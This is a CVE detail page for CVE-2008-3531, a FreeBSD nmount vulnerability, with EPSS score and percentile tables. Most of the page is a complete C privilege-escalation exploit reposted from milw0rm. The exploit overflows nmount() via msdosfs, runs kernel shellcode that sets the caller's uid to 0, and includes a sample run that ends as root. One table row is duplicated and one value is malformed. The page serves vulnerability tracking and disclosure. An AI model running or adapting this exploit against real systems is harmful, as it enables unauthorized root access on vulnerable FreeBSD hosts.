CVE-2008-3531 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.08%
2025-03-30	–	–	–	–	0.1%
2025-04-15	–	–	–	–	0.1%
2025-04-15	–	–	–	–	0.1,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	21%
2025-03-30	25%
2025-04-15	29%
2025-04-15	29%

/* * cve-2008-3531.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Privilege escalation exploit for the FreeBSD-SA-08:08.nmount * (CVE-2008-3531) vulnerability: * * http://security.freebsd.org/advisories/FreeBSD-SA-08:08.nmount.asc * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3531 * * For a detailed analysis see: * * http://census-labs.com/news/2009/07/02/cve-2008-3531-exploit/ * * Sample run: * * [argp@leon ~]$ uname -rsi * FreeBSD 7.0-RELEASE GENERIC * [argp@leon ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@leon ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531 * [argp@leon ~]$ ./cve-2008-3531 * [*] vptr = 0x006e776f * [*] calling nmount() * nmount: Unknown error: -1036235776 * [argp@leon ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: cve-2008-3531.c,v 846ca34be34a 2009/02/29 11:05:02 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #define BUFSIZE 249 #define PAGESIZE 4096 #define ADDR 0x6e7000 #define OFFSET 1903 #define FSNAME "msdosfs" #define DIRPATH "/tmp/msdosfs" unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax # get curthread */ "\x8b\x40\x04" /* movl 0x4(%eax), %eax # get proc from curthread */ "\x8b\x40\x30" /* movl 0x30(%eax),%eax # get ucred from proc */ "\x31\xc9" /* xorl %ecx, %ecx # ecx = 0 */ "\x89\x48\x04" /* movl %ecx, 0x4(%eax) # ucred.uid = 0 */ "\x89\x48\x08" /* movl %ecx, 0x8(%eax) # ucred.ruid = 0 */ /* # return to the pre-previous function, i.e. vfs_donmount() */ "\x81\xc4\xe8\x00\x00\x00" /* addl $0xe8, %esp */ "\x5b" /* popl %ebx */ "\x5e" /* popl %esi */ "\x5f" /* popl %edi */ "\x5d" /* popl %ebp */ "\xc3"; /* ret */ int main() { void *vptr; struct iovec iov[6]; vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if(vptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } vptr += OFFSET; printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr); memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[4].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[4].iov_base, 0x41, (BUFSIZE - 1)); iov[4].iov_len = BUFSIZE; iov[5].iov_base = "BBBB"; iov[5].iov_len = strlen(iov[5].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { perror("nmount"); rmdir(DIRPATH); exit(EXIT_FAILURE); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); return EXIT_SUCCESS; } // milw0rm.com [2009-07-09]